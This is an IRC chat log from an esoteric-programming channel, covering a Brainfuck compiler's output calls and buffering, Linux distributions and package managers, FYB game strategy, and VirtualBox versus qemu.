please visit http://code.google.com/p/esotope-bfc/ 19:59:27 how far have you gotten? 19:59:40 bsmntbombdood, it says there. 19:59:47 read the page and the linked ones. 19:59:50 and/or the code 20:00:20 lifthrasiir, where is the "browse code" thing? 20:00:23 my code is too terrible to read. ;) 20:00:27 AnMaster: click "source" tab. 20:00:41 lifthrasiir, no browser there, only download info. 20:00:47 go to the hg url 20:00:49 ah, hmm... 20:00:52 it has a web viewer 20:01:01 i'll add the link to main page 20:01:02 ehird, not clickable. Too much work ;P 20:01:11 AnMaster: hg.mearie.org/esotope/bfc/ 20:01:12 er 20:01:15 http://hg.mearie.org/esotope/bfc/ 20:01:15 clicky. 20:01:16 ah 20:01:39 ehird, anyway I could just select it in the browser and right click and select "open url in new tab" 20:04:17 lifthrasiir, why all in one file btw? 20:05:00 personally I would probably split emitter code into one file, loading code in one, and optimisation in one. Possibly several for different optimisation passes 20:06:33 AnMaster: since it is in heavy development i won't split them before its structure once stablized. 20:06:45 heh? 20:07:08 well 20:07:13 i'm experimenting with various choices 20:07:48 and it turned out that current intermediate representation has many deficiencies 20:07:58 lifthrasiir, sure, but why does splitting into modules make that harder? You have the same interfaces between the classes anyway? Just easier to manage in the editor 20:08:15 I assume your editor has no issues with having more than one file open at once of course 20:08:50 -!- jix has quit (No route to host). 20:09:09 "structured into multiple private modules" does not imply "stable public API" to me... 20:09:31 AnMaster: for that, it was just borethsome and there is no other reason. 20:09:44 bothersome* 20:10:08 huh. I find long files more bothersome than multiple files. :P 20:10:30 but I guess it is subjective 20:11:15 and why can't i browse the source? 20:11:37 you can 20:11:42 just not easily 20:11:52 bsmntbombdood, it isn't hosted on google code 20:12:05 i write many codes both for work and for fun, and i just don't think of quality for fun unless there are a ton of codes. 20:12:07 but if you open the non-clicky link.. 20:12:30 lifthrasiir, meh. I always try to think of quality when coding for fun ;P 20:12:39 but then again I guess that is a matter of taste. 20:14:07 lifthrasiir: obtw, printf("foo") is a bug 20:14:10 AnMaster: of course some quality is automatically achieved, but i'm not aiming at best quality ;) 20:14:25 bsmntbombdood, agreed 20:14:33 lifthrasiir: you ought to be using fwrite 20:14:40 fputs() 20:14:58 yeah fputs 20:14:59 AnMaster: no, brainfuck can output nuls 20:15:00 write(2) 20:15:02 ah 20:15:05 bsmntbombdood: yer right. 20:15:08 fwrite it is 20:15:13 and again 20:15:13 bsmntbombdood: ah right! 20:15:15 GregorR wins 20:15:17 write(2) 20:15:19 fastest, most direct 20:15:22 i totally ignored that. thank you for pointing out. 20:15:26 lifthrasiir: listen to the man GregorR ;-) 20:15:30 ehird: ERRR 20:15:35 buffering and portability is good 20:15:42 and so's your mom 20:15:44 don't use write(2) 20:15:51 HOW SLOW 20:15:52 :p 20:15:54 fine use fwrite 20:16:01 write or fwrite *shrugs* 20:16:07 But buffering is bad and write is portable. 20:16:19 ah, buffering plays with lostkng 20:16:21 I'm pretty sure 20:16:31 if you enable long descriptions you have to input something to get the first room description 20:16:33 if you have buffering 20:16:36 And makes PSOX etc difficult. 20:16:58 Yep 20:19:17 okay, it emits fwrite(stdout, "Hello World!", 12); now. 20:19:20 how good can a c compiler be at using the sse instructions? 20:19:30 As good as a C compiler can be 20:20:01 lifthrasiir: write(1) 20:20:04 er 20:20:05 (2) 20:20:06 <_< 20:20:19 guh 20:20:24 lifthrasiir: death to buffering! death to no speed! 20:20:29 bsmntbombdood: as I said, buffering breaks shit 20:20:29 do not use the system call interface if you can avoid it 20:20:30 so stfu :p 20:20:37 so set nonbuffered on stdout 20:20:51 why not just use write(2) 20:20:56 and get some extra microspeed 20:21:05 ehird: Death to buffering == death to speed, in some cases. 20:21:10 ehird: EINTR 20:21:21 write(2) isn't Windoze-compatible. 20:21:25 Deewiant: Yes, but you have to not buffer. 20:21:29 Deewiant: Yes it is. 20:21:32 For LostKng and PSOX, for two examples 20:21:37 Also, what GregorR said 20:21:44 GregorR: Cygwin doesn't count. 20:21:48 Deewiant: No, it doesn't. 20:21:48 -!- ais523 has joined. 20:21:51 Deewiant: Windows has write(2) 20:21:57 Deewiant: In MSVCRT 20:22:08 That's news. 20:22:14 Old news. 20:22:16 Ancient news. 20:22:25 News is a subjective concept. 20:22:28 Haven't you ever used MingW? :P 20:22:29 SO WHAT I'M SAYING IS, lifthrasiir use write(2) :-P 20:22:40 meh :p 20:23:01 btw, is there any brainfuck compiler worth adding to Comparison page? 20:23:09 nope. 20:23:13 add some interps? 20:23:20 lifthrasiir: ah, wait 20:23:24 if you enable long descriptions you have to input something to get the first room description 20:23:26 idea: 20:23:27 lifthrasiir: GregorR's EgoBF suite. 20:23:53 lifthrasiir: And the two best interps: http://swapped.cc/bf/ http://mazonka.com/brainf/index.html 20:23:53 lifthrasiir, whenever you have a input command, do an fflush() first. 20:24:02 then you can still allow buffering 20:24:03 wtf newegg, send me my parts 20:24:11 because it will flush before it waits for input 20:24:12 wtf bsmntbombdood, be patient 20:24:15 ehird: those are mentioned in the page already. ;) 20:24:18 postage can take like a week in the uk 20:24:20 lifthrasiir: ah, kay 20:24:21 lifthrasiir, this is what cfunge does btw. 20:24:22 lifthrasiir: even egobf? 20:24:25 it has a compiler, jit and interpreter 20:24:29 not egobf yet. 20:24:40 lifthrasiir, see what I mean? 20:24:45 GregorR: Yes, I have, but obviously I don't use POSIX functions with MinGW. :-P 20:24:47 AnMaster: i see. that seems reasonable. 20:24:52 ehird: i ordered them yesterday 20:25:07 it used to be a pain getting stdin/stdout working on Windows 20:25:08 Anyway, I see that it is in io.h. 20:25:12 although allegedly, it's easier nowadays 20:25:12 bsmntbombdood: you canucks are so impatient. you are a canuck right 20:25:26 not familiar with that term 20:25:34 bsmntbombdood: canadian 20:25:35 So using write(2) isn't non-GCC-compliant unless you're careful to import the right thing. 20:25:40 btw, is there any brainfuck compiler worth adding to Comparison page? <-- don 20:25:44 don't* add mine. 20:25:47 since it is buggy 20:25:54 ehird: no...what made you think that 20:25:55 really it is a dead project 20:25:57 alright. 20:26:03 bsmntbombdood: err i seem to remember you were 20:26:08 bsmntbombdood: k, USians are so impatient 20:26:09 Deewiant: People use compilers other than GCC? Hyuk hyuk] 20:26:10 since it didn't have any project page i assumed that is not public 20:26:24 GregorR: You've used DMC yourself. :-P 20:26:41 Only to see how shitty and not-GCC it is! 20:26:55 I've also used wcc, pcc and tcc :P 20:26:57 GCC is pretty the crap... 20:26:59 Oh, and icc 20:27:11 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 20:27:13 DMC will error out on #include on Windows. 20:27:21 Sweet :P 20:27:31 with "can't find unistd.h"? 20:27:35 #error "unistd.h is not for Windows use" 20:27:36 or does it have a unistd.h with a #error in? 20:27:38 ah 20:27:42 #if _WIN32 20:27:43 -!- bsmntbombdood has joined. 20:27:46 HAH 20:27:51 "Is not for Windows use" 20:27:52 Which is completely correct. 20:27:52 That's so stupid :P 20:27:55 No it's not. 20:28:00 I love the way that the old Windows documentation used to have portability boxes in it 20:28:08 saying which of the functions were POSIX-compatible 20:28:16 ais523, hah 20:28:21 the answer is, not really any of the useful ones, unless they were in the C standard as well 20:29:38 Hmm, Linus uses Fedora 20:29:44 I'd have thought he would be more of an LFS man 20:30:01 He's not that kind of guy 20:30:03 heh 20:30:05 Not even slightly. 20:30:16 Well, I agree, but he's a make-a-kernel guy. 20:30:19 He probably compiles his own kernel ;) 20:30:28 I'd expect him to, say, build his own base and then use some distro's packages on top of it 20:30:29 He programs low-level stuff, sure, but he's not much of a sysadmin. 20:30:29 Or something 20:32:46 Damn, I just realised that I first tried Ubuntu w/ 5.10. That's ages ago :P 20:33:09 ehird: If the first three digits of the year are the same, it's not ages ago. 20:33:12 I've never tried Ubuntu. 20:33:31 I've used it since our school has it, but not otherwise. 20:33:40 GregorR: I only started existing ten years before that release was made. 20:33:42 So it's ages ago for me. 20:34:03 My first linux distro was a crappy thing called PCLinuxOS; I don't remember why 20:34:16 ehird: I thought PCLinuxOS was rather popular 20:34:19 ehird: Well geeze, is it MY fault you couldn't get off your butt and into existence? 20:34:21 although not as popular as Ubuntu, of course 20:34:21 Is it? 20:34:26 The name is really cheesy. 20:34:33 It's an operating system for your personal computer! 20:34:37 It's a Mandr{ake,iva} derivative. 20:34:38 I never stuck with any of them 'til 2006, ofc, because of winmodem issues 20:34:40 GregorR: Yeah 20:35:31 "PCLinuxOS, often abbreviated as PCLOS" makes it sound like a yet another Common LISP object system. 20:35:37 HAH 20:35:57 heh 20:36:08 Pico Common Lisp Object System 20:36:10 It's really minimalist! 20:36:10 The Perl Common LISP Object System :P 20:36:11 Presumbly Common LISP Object System 20:36:12 Deewiant: anyway Ubuntu is basically Debian, but with a nicer interface, some dubious patches, a really rigid release schedule, and a rather lax attitude towards bug reports 20:36:18 I've never used Debian. 20:36:30 Deewiant: anyway Ubuntu is basically Debian, but with a nicer interface, some dubious patches, a really rigid release schedule, and a rather lax attitude towards bug reports // an excellent description 20:36:48 "Ubuntu is basically Debian, but with the core values sacrificed." 20:36:54 but that doesn't made Debian obsolete. they just have different goals. 20:36:59 yes 20:37:04 fizzie: a bad interface is a core value of Debian? 20:37:07 That explains *a lot*. 20:37:08 more to the point, Ubuntu isn't a fork, just a patchset 20:39:23 I'd like an Ubuntu without the dubious patches, without the non-free stuff by default, more upstream interaction, and less tampering with other people's software. 20:39:33 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 20:39:40 Debian gets the first two but doesn't have the nice interface and release schedule and shit 20:39:56 And other distros are either source based, have a tiny community and thus aren't really very polished, ... 20:39:59 (Or use rpm) 20:40:08 -!- bsmntbombdood has joined. 20:40:08 I'd probably be all over fedora core if it didn't use rpm. 20:40:22 it's the dubious patches that give Ubuntu its interface niceness, though, mostly 20:40:38 No, that's the "tampering with other people's software" 20:40:45 ah, ok 20:40:46 Most of ubuntu's niceness can be done w/ separate packages 20:40:50 like the notification system, etc 20:41:13 yes 20:42:12 So separate polish packages for a nicer interface + nice release schedule + FOSS only by default (according to DFSG more or less) + upstream interaction + doesn't patch other's software more than necessary + good, medium-to-large sized community = distro heaven. 20:42:14 Doesn't exist though. 20:42:22 Oh, and + nice package manager + that means not RPM. 20:42:37 (Because Fedora seems to fulfill most of the rest, heh.) 20:42:57 what in particular do you have against RPM, by the way? 20:43:06 I've never used it, so I don't know why it's so hated, and I'm interested 20:43:13 ais523: You cannot possibly imagine. 20:43:53 no, that's why I'm asking 20:44:01 it's got to be better than CPAN, surely? 20:44:19 Imagine distilled hell as a package manager, with many things that should be bugs but are design decisions. Imagine it breaks shit wildly. Imagine a weeping child. Imagine Satan typecasted to a package manager. Imagine this. Imagine this. Imagine -- you're falling, oh god it's me, *I'm* falling, where am I, who am Imagine this. 20:44:33 That's basically what using rpm is like. 20:44:44 lol 20:44:48 I think that's a bit over the top :P 20:45:07 I'm after technical info, not metaphors 20:45:20 ais523: That WAS the technical info. 20:45:25 Are you sure you want to hear the metaphors? 20:45:38 ehird: I don't believe you 20:45:51 I have no idea what's better about .deb and pals, but I know that I've always had weird packaging issues on RPM-based distros and never on .deb-based distros. Not much of a technical detail, because I've never been able to distill particular issues, it's just always that way. 20:48:18 personally I prefer source based ones. IME it works better when you are mixing stable and testing packages. 20:48:24 and also better in many other cases 20:48:29 like: less work 20:48:35 well, source-based is slower 20:48:50 I generally use binary for most things, but swap out to source-based for things I'm testing or modifying 20:49:02 one thing I like about debs is you can mix source and binary without much trouble 20:49:06 AnMaster: my apparent issue with the arch linux installer is that when it tries to update the package manager definitions I get a Transient resolver failure. 20:49:10 ais523: checkinstall++ 20:49:18 ais523, not really: scenario: glibc 2.6 -> 2.7 upgrade, discover valgrind package is broken and needs to be recompiled against new glibc 20:49:21 what do you do 20:49:28 well, for two versions of Ubuntu in a row, now, there's an error in at whenever I run the package manager 20:49:31 it's been reported for months 20:49:34 -!- Gracenotes has joined. 20:49:35 but they haven't fixed it yet 20:49:39 a) file a bug and build a new binary package locally then install it 20:49:43 b) just reinstall the package 20:49:50 b for source based, a for binary ones 20:49:58 there I say source based ones are faster. 20:50:01 AnMaster: pull updates, and find that it's been automatically rebuilt against the new glibc by the build farm 20:50:02 AnMaster: you have clearly never used a binary package manager. 20:50:07 ehird, I had 20:50:14 had to use them 20:50:14 AnMaster: I meant to say a good one 20:50:24 ehird, such as? 20:50:32 anything other than dpkg/apt is shit, and if you don't know what you're doing with dpkg/apt they're shit too. 20:50:43 getting cosy with dpkg/apt = package manager heaven. 20:50:55 dpkg and apt are actually a separation of powers 20:51:02 dpkg is a package manager, apt manages repositories 20:51:02 Yay slackware .tar.gz packages! 20:51:07 dpkg doesn't care where the packages come from 20:51:08 tar vzxf mypkg.tar.gz LAWL 20:51:14 ehird, getting cosy with any good package manager == heaven. That is true for portage and pacman at least 20:51:16 GregorR: YOU FORGOT THE POST-INSTALL SCRIPT 20:51:19 oh, and .debs are tar.gz too, just with a different extension 20:51:21 ehird: OH NOSE 20:51:27 AnMaster: not as good as dpkg/apt. 20:51:44 ehird, only if you don't know what you are doing with portage and/or pacman :P 20:51:46 ais523: Actually they're three files in a .ar, one of which is data.tar.gz :P 20:51:49 I'd say a good source-based package manager can be as good to use as a good binary-based manager 20:51:55 GregorR: oh, yes 20:52:03 and the diff file, and the dsc 20:52:04 .ar? O_o 20:52:09 ehird, anyway you totally ignored my example above 20:52:10 fun 20:52:11 just you get them unpacked if you use apt-get source 20:52:14 Deewiant: it's not going on to a tape! 20:52:22 that's for legal reasons, I think 20:52:24 AnMaster: no, because ais523 covered it, and also dpkg/apt can handle BOTH SOURCE AND BINARY PACKAGES 20:52:27 which you don't seem to have realised 20:52:32 ehird, it needs the package manager to remember to rebuild valgrind and such, IME they often forget that 20:52:45 o_O 20:53:47 ehird, maybe debian managed that somehow. Marking "must be rebuilt when dependency foo is updated in the y bit of x.y-patchlevel" or such could work. 20:53:47 ehird, dpkg/apt is not a very good source-based package manager. 20:53:49 ehird: whenever anyone on Slashdot claims that open source program (insert name here) is really hard to compile, I grab the source package and dependencies and compile the source package to prove them wrong 20:53:58 It *is*, however, the best damned binary package manager. 20:54:04 pikhq: it isn't the best, but it's the best binary package manager, and it does okay at doing source stuff 20:54:12 so you can mix them without too much pain; binary works in most cases 20:54:12 yes, as source-based you have to compile by hand 20:54:17 ais523, what about nethack. That is one hard to compile IMO. 20:54:19 AnMaster's only example was an edge case 20:54:21 ais523: you can write a script to do that 20:54:29 ais523, at least, for multi-user installs. 20:54:29 yes 20:54:32 but yeah, AnMaster's only example was an edgecase, and when doing source stuff with apt as an edge case it works 20:54:35 I'd say that either Portage or Ports is the best source-based package manager... 20:54:44 but the assumption is that, if you got the source package, you probably wanted to modify before compiling 20:54:54 ehird, um. I find that kind of stuff is rather common with rolling release. 20:55:05 AnMaster: and you attribute this to everything but rolling release :) 20:55:33 Portage, of course, is a poor binary package manager. Mostly, its usage for binary packages is rolling out the same configuration to a bunch of systems. 20:55:52 FLAAAAAAAAAAAAAAAAAAAAAAAAARGHLE 20:55:55 Good lawd 20:55:59 This conversation never ends. 20:56:05 pikhq, I find ports a bit bad at updates to packages like perl and python, where you need to rebuild various modules afterwards. Generally ports seems to work well but need more work (reading /usr/ports/UPDATING and so on) 20:56:08 blame that other guy 20:56:25 Somebody write some FYB code! :P 20:56:34 ehird, non-rolling releases have lots and lots of other issues. 20:56:53 GregorR: I'll give you some credit here: Slackware is definitely the most *elegant* package management system. ;) 20:57:34 Somebody write some FYB code! D8< 20:57:34 There's something nice about "Well, it's just a tarball." 20:57:41 + 20:57:54 Somebody write some good FYB code :P 20:58:06 ehird, like bumpy rides when it is time for major upgrades. A lot of work then. Personally I prefer to have the non-trivial upgrades spread out over the year, like one non-trivial package / month rather than 5 non-trivial ones at the same time. 20:58:07 GregorR: you have to limit FYB program length 20:58:11 a lot of work? 20:58:15 ais523: Why? 20:58:19 click update manager, like you always do 20:58:24 click upgrade on the "new distro!" thing 20:58:27 do other stuff 20:58:29 oh, it's done 20:58:30 reboot 20:58:32 continue 20:58:32 because otherwise you can start with something like %?[%%%%%%%%%... 1000000 more no-ops here...%%]? 20:58:33 ehird, well debian is better than ubuntu when it comes to that iirc. 20:58:37 errrrrr nope 20:58:44 ubuntu's the best at easy distro upgrades 20:58:47 ais523: The best you can hope for is a tie with that. 20:58:58 GregorR: you put the rest of your program at the end 20:59:03 ehird, from what I heard from ais that seems not true. 20:59:09 ais523: Hmmmmmmmmmmmmmmmm, 'struth. 20:59:15 the point being that the other program needs to run a million > commands to reach your pointer 20:59:19 ais523: Maybe I should make nops not-typable. 20:59:23 AnMaster: ais is, I fear, one of those people who breaks everything he touches. 20:59:51 GregorR: either you should make all [] run at least once, or limit program length, really 21:00:01 otherwise something similar could be done 21:00:06 but more complicated 21:00:09 Yeah, probably. 21:00:23 maybe you could do it INTERCAL-style, where [ abstains from everything up to and including the next ] 21:00:32 ehird, well, maybe I'm one of them too. Thus I prefer a very robust system. One that is easy to mend when you broke it. One with less GUI abstractions, since I will always need to edit the text configs anyway sooner or later. 21:00:33 actually, even that's speed-of-light movemetn 21:00:36 *movement 21:00:37 so it wouldn't help 21:01:07 I need to learn to not argue with people who only use the same arguments and who I already know are wrong ;-) 21:01:10 fwiw, just starting with one million % without the loop would have a similar effect, just not as strongly 21:01:15 or one million >< 21:01:17 or whatever 21:01:23 ehird, Gentoo is robust in my experience. 21:01:28 pikhq, do you agree? 21:01:31 AnMaster: see what I just said? 21:01:35 Not interested, stfu. 21:01:46 ehird: anyway, from what I've heard, Ubuntu distro upgrades work well, but Debian's work even better 21:01:58 ehird, ah you say that every time you realise I won the discussion. 21:02:00 Nice try. 21:02:01 I admit that only one out of four Ubuntu upgrades have gone smoothly for me 21:02:09 AnMaster: no, I didn't 21:02:12 but in at least one of those, and probably two, it was my fault 21:02:15 stop reading a fuckin' conspiracy into everything 21:02:23 you've said all your arguments, stop rallying your goddamn troops 21:02:31 ehird, You can have a conspiracy with just a single person in it? 21:02:36 um... 21:02:46 only you could imagine such a thing, but it seems so. 21:03:14 ehird, you seemed to be suggesting it. I never even considered the idea before. 21:03:27 AnMaster: Gentoo is actually not all that robust. 21:03:36 Gentoo is a distro that assumes you know what you're doing. 21:03:47 And if you don't, bad shit happens. 21:04:02 pikhq, well yes. But it is easy to mend if bad thing *does* happen. 21:04:03 No, LFS is a distroy that assumes you know what you're doing :P 21:04:20 not that bad things happened since 2004 on gentoo to me. 21:04:20 (generally next time they do a major change, like XFree86 -> X.org or 2.4 -> 2.6) 21:04:28 GregorR: LFS is more so. 21:05:18 GregorR, LFS is "follow the manual" then "realise the system is unmaintainable due to no easy way to upgrade" then a few days later "switch back to the gentoo install" 21:05:30 ;P 21:05:30 incidentally, I've once before now built a Linux system via makefile 21:05:36 ais523, oh? 21:05:37 it was a makefile that was full of wget 21:05:40 hah 21:05:42 basically, linux-from-scratch 21:05:44 but automated 21:05:55 ais523, yes that exists already. ALFS iirc 21:05:58 it got all the bits it used from their original websites 21:06:04 the kernel from kernel.org, for instance 21:06:11 AnMaster: LFS is for learning, not for being your "real" distro. 21:06:18 GregorR, indeed. 21:06:27 GregorR, and I have done LFS, HLFS, CLFS 21:06:39 I've only done LFS :( 21:06:41 GregorR: why don't they make LFS more user-friendly, then 21:06:43 in results 21:06:54 so it does work as a real distro 21:06:54 um 21:06:57 LFS 6.0? 21:07:02 GregorR is wrong 21:07:04 wasn't it the last stable version when I did it too 21:07:06 the author of lfs uses it 21:07:08 some years ago... 21:07:18 ehird, there is no single author of it 21:07:29 * AnMaster has been on the linux from scratch irc server 21:07:32 there's the original author. 21:07:35 They're all married. 21:07:40 GregorR, what 21:08:34 GregorR, care to explain that totally non-sequitur reply... 21:08:46 No, I'm tired of explaining my jokes :P 21:09:02 GregorR, well since you directed it at me... 21:09:04 GregorR: that's the harsh reality of AnMaster 21:09:14 x isn't directing, it's impersonating. 21:09:22 ehird, that is even worse 21:09:31 Except when you're MAKING A FUCKING JOKE 21:09:31 well "worse" isn't right word 21:09:47 ehird, there is no single author of it They're all married. 21:09:48 GregorR, well since you impersonated me... What was the joke. 21:09:50 There is no SINGLE author 21:09:53 Because they're all MARRIED 21:09:56 um 21:09:56 * ehird rubs eyes, swigs whiskey ← don't do anmaster, kids 21:10:04 it'll ruin your life 21:10:06 See how it's not funny when I have to explain it X_X 21:10:10 GregorR, is this a reference to something? 21:10:18 O_O 21:10:19 HAHAHAHAHAA 21:10:25 GregorR: let's go mad together 21:10:27 what 21:10:28 are 21:10:29 you 21:10:30 talking 21:10:32 about 21:10:36 (ehird style space) 21:10:39 ahahahahahaahahahaha 21:11:28 AnMaster: "Single" as in unmarried. 21:11:36 Deewiant, ah right. that meaning. 21:11:41 ... 21:11:48 GregorR: so, about that going mad 21:11:50 I'm done, how about you? 21:12:01 ehird: I'm holding on to my sanity by thinking about eating breakfast for dinner. 21:12:19 Furthermore, time is cyclic. 21:12:25 -!- tombom_ has joined. 21:12:35 See? Sanity! 21:12:57 would be interesting with a cyclic universe 21:13:10 it would? 21:13:51 ehird, well, if you invented some way to become immortal you could have fun the second time around. 21:14:09 if time's cyclic, you'd do the exact same thing each time 21:14:14 and the matter would be exactly the same 21:14:19 thus you would not have any memories 21:14:30 effectively you'd be a new person 21:14:32 each time. 21:14:33 ehird, depends on cyclic in what way 21:14:36 ehird: Unless you were a living time paradox :) 21:14:41 AnMaster: In the cyclic way. 21:14:48 GregorR, or that 21:14:49 It has a meaning. 21:15:27 ehird, what if you could survive the end and pass through to the beginning next time around. Then you could use it as a time machine 21:15:39 Then time is not cyclic. 21:15:52 ehird, that doesn't make good sf... 21:15:58 ;P 21:16:10 "Time is cyclic except when it's not." 21:16:11 Gripping./ 21:16:14 s/\/$// 21:16:31 ehird, s/when it is not/when you reverse the polarity/ 21:16:31 duh! 21:16:42 there you have a perfect concept! 21:19:09 Hm; that's no fun: VirtualBox's "OSE" open-source edition doesn't support the SATA controller, according to their web page; but since the configuramator GUI still has a "enable additional controller" checkbox in the hard disks tab, and lets you attach things up to 30 SATA ports, so I thought maybe they enabled that feature in the open-source version too; but then it just gives a cryptic VERR_PDM_DEVICE_NOT_FOUND error when starting. 21:19:13 Hey, Arch installed. 21:19:15 How surprising. 21:19:19 fizzie: it works for me. 21:19:27 Hmm. 21:19:30 Do I have the closed source one? 21:19:46 How should I know what you have? It's free-for-personal-use, though, so you might well have it. 21:19:51 Hmm. 21:19:53 Seems so. 21:20:03 How surprising. <-- why? 21:20:05 fizzie: Use qemu/virtualbox's closed source one? 21:20:15 AnMaster: It hasn't worked in two VMs previously? 21:20:32 ehird, PEBKAC I suspect. 21:20:45 or PEIVM 21:20:47 So you keep saying. No, it was Arch not supporting a part of the VM configuration. 21:20:48 possibly 21:20:51 Arch's fault. 21:21:01 Although I suppose that's heretical to the Holy Church of Distro Perfectness. 21:21:10 ehird, You haven't given enough details to debug the issue 21:21:19 ehird, nor filed bug reports. 21:21:20 I don't mind the lack of SATA controller so much (that I'd bother doing something that's not directly aptable), it's just that I don't like how they're giving me false hopes by making it available in the config screens, then crashing them down by not booting. 21:21:23 afaik 21:21:27 I didn't ask anyone to debug it, AnMaster. 21:21:41 ehird, you complained loudly though 21:21:59 If by loudly you meant I mentioned I gave up on arch due to not working in a vm as a one-line remark. 21:22:10 20 lines 21:22:15 constructive feedback and details bug reports is more useful 21:22:20 20 lines? Where? 21:22:26 some days ago 21:22:28 bbiab 21:22:30 And I don't give a damn what you want me to do regarding Arch bugs. 21:24:08 And anyway the open-source edition supports a couple of SCSI controllers, so I can build this "going-to-be-transferred-on-a-real-hardware-where-the-HD-will-be-/dev/sda" thing without any device-naming differences. 21:25:10 Or maybe not. Strange. I thought it was supposed to do the SCSI controllers. 21:25:23 fizzie: just use qemu 21:25:27 it's slow but acurrate 21:25:29 *accurate 21:27:05 * ais523 likes qemu 21:27:13 I guess I could, but since I have it in the 'box already... did qemu happen to do the .vdi thing? Not that I couldn't just convert the image. 21:27:29 Qemu uses .raw and .qcow, I think. 21:27:31 * GregorR wurves qemu. 21:27:40 qemu supports tons of formats, but not .vdi 21:28:14 Supported format: nbd parallels qcow2 vvfat vpc bochs dmg cloop vmdk qcow cow host_device raw 21:28:35 Well, it's a fixed-size .vdi, so it's pretty much .raw with an offset; and "VBoxManage converthd --format RAW" should get rid of the offset, too. 21:28:41 ehird, so you recommend to not file any bugs to any projects, instead only complain in some totally unrelated irc channel and not report the issue at all 21:28:42 great 21:28:45 Er, clonehd, not converthd. 21:29:19 hm 21:29:21 -!- tombom has quit (Read error: 110 (Connection timed out)). 21:29:22 -!- tombom_ has changed nick to tombom. 21:30:10 "open source editions" lacking most of the useful features are worse than "closed source, but no-cost" software IMO 21:30:19 at least the latter doesn't pretend to be open 21:30:33 It doesn't really lack "most of the useful features"; it's pretty usable as-is. 21:30:37 Actually, VirtualBox OSE excludes only some spectacularly useless featuers. 21:30:41 *features 21:30:49 fizzie, lacking SCSI emulation is "lacking major feature" to me 21:31:14 also what about forwarding serial port and usb devices? 21:31:17 Lacking emulation of a technology no one uses? 21:31:21 using native partitions? 21:31:29 oh wait, it can't do the latter in any edition iir 21:31:31 iirc* 21:31:36 not sure about forwarding serial and usb 21:31:42 GregorR, um I use them. 21:31:45 GregorR: Lacking the possibility of using >3 HDs. 21:32:10 that is even worse 21:32:16 (Assuming the open-source edition doesn't do the SCSI controllers; I'm not quite sure about that.) 21:32:30 fizzie, does it do serial and usb forwarding? 21:33:08 http://www.virtualbox.org/wiki/Editions <-- seems like no 21:33:10 I think USB-passthrough is also only in the closed-source edition. Not that I've ever wanted to have that. 21:33:18 fizzie, I need that feature 21:33:22 Serial is supported everywhere. 21:33:27 usb one I mean 21:33:52 I have some silly devices that only support windows sadly. Like a GPS unit I need to update the maps on every now and then 21:33:56 needs windows to do it. 21:34:06 (for use in car) 21:34:07 That's a good candidate for some reverse-engineering fun. 21:34:14 Oh, and you can use native partitions. 21:34:31 fizzie, even sillier: the gps unit actually runs linux on arm internally 21:34:36 go figure 21:34:40 I was under the impression that USB forwarding had made it into the OSI. 21:34:44 (You have to create a .vmdk file referring to the raw partition.) 21:34:58 fizzie, err .vmdk is vmware 21:35:03 I'm 100% sure of that 21:35:11 AnMaster: VirtualBox can use VMWare files. 21:35:13 ah 21:35:33 AnMaster: Yes, and the raw-partition support is done as a part of the vmdk support. 21:35:39 well I think I prefer vmware-server then. At least it doesn't pretend to be open source. 21:35:49 while stripping vital features 21:36:04 such as usb and sata 21:36:10 possibly scsi 21:36:18 fizzie, hm ok 21:36:38 I don't prefer it, because last time I tried it, it made an unholy mess of things. I really don't like installers touching my files all around, anyway. 21:36:52 fizzie, vmware-server? 21:36:52 um 21:36:55 Yes. 21:37:03 gentoo has a package for it, that contains the mess 21:37:08 and makes it easy to handle 21:37:15 :) 21:37:33 fizzie, from what I can see it uses sed a lot. 21:37:34 :) 21:37:36 Might be; I guess no Debian-enthusiast has bothered to go through all that trouble. 21:37:59 Oh. 21:38:11 -!- Hiato has quit ("Leaving."). 21:38:24 There is "vmware-package" which gives a make-vmpkg tool that you can use to build .debs out of vmware workstation/player/server installer files. 21:38:37 I guess that would handle the mess too. 21:38:51 "Again,don't be angry with me if you see this message in SPAM of your mailbox; it will be because I send it with low internet connection." 21:39:00 It wasn't there the last time I looked. 21:39:33 GregorR, um. what is a "low internet connection" supposed to be... 21:39:51 AnMaster: I don't know, but don't you just wurve how stupid spam is? :P 21:39:57 GregorR, yeah 21:40:10 GregorR, except I don't know what "wurve" means. *googles* 21:40:14 and I don't read the spam 21:40:28 No definitions were found for wurve. 21:40:28 sorry 21:40:31 I especially love how it then goes on to say "I am the Executive Auditor and Head Of Computing Department in my bank." And yet for some reason, he can only afford "low internet connection" :P 21:40:49 "wurve" is some kind of cutesy-or-something spelling for "love" 21:40:57 http://www.urbandictionary.com/define.php?term=wurve 21:41:00 that disagrees 21:41:06 and google doesn't know it at all 21:41:16 I mean, google's define: 21:41:26 You're trusting Urban Dictionary? :P 21:41:26 That would make me smarter than Google and Urban Dictionary combined, now wouldn't it 21:41:42 GregorR, it is usually useful for irc 21:41:51 but not really 21:42:00 Well, Deewiant was right :P 21:42:16 GregorR, aspell doesn't like it either 21:42:23 -!- WangZeDong has joined. 21:42:26 It's not a real word, it's onomatopoeic. 21:42:37 nor is it in /usr/share/dict/words 21:42:39 oh ok 21:49:48 -!- tombom has quit ("Peace and Protection 4.22.2"). 21:51:33 -!- Slereah has quit (Read error: 110 (Connection timed out)). 21:51:51 -!- GregorR has set topic: Logarithms: | ~fish~. 21:52:28 that crc32 sse4 instruction is hilarious 21:52:34 i wonder how much faster it is? 21:55:54 I noticed it just recently when twiddling through Linux kernel menuconfig; there's a CONFIG_CRYPTO_CRC32C_INTEL setting that makes use of it. 21:56:07 -!- GregorR has set topic: the international hub for esoteric programming language design and deployment - #esoteric is not associated with the joke language Perl, please visit www.perl.org - logs: http://tunes.org/~nef/logs/esoteric/. 21:56:16 -!- GregorR has set topic: #esoteric, the international hub for esoteric programming language design and deployment - #esoteric is not associated with the joke language Perl, please visit www.perl.org - logs: http://tunes.org/~nef/logs/esoteric/. 21:57:15 ah, I always get a warm fuzzy nostalgic feeling when we have "the international hub for esoteric programming language design and deployment" in the topic 21:57:35 I decided it was time to switch it back to my original topic :P 21:57:44 that was yours? 21:57:47 Yeah. 21:57:58 05.10.10:19:09:35 --- topic: set to '#esoteric, the international hub for esoteric programming language design and deployment - #esoteric is not associated with the joke language Perl, please visit www.perl.org - logs: http://tunes.org/~nef/logs/esoteric/ or http://meme.b9.com/cdates.html?channel=esoteric' by GregorR 22:00:53 I can't seem to find any speed benchmarks between the crc32c and crc32c-intel modules. :/ 22:01:39 fizzie: I should hope that somebody did benchmark them, rather than just assuming the latter was faster :P 22:02:25 I'd hope that it's a 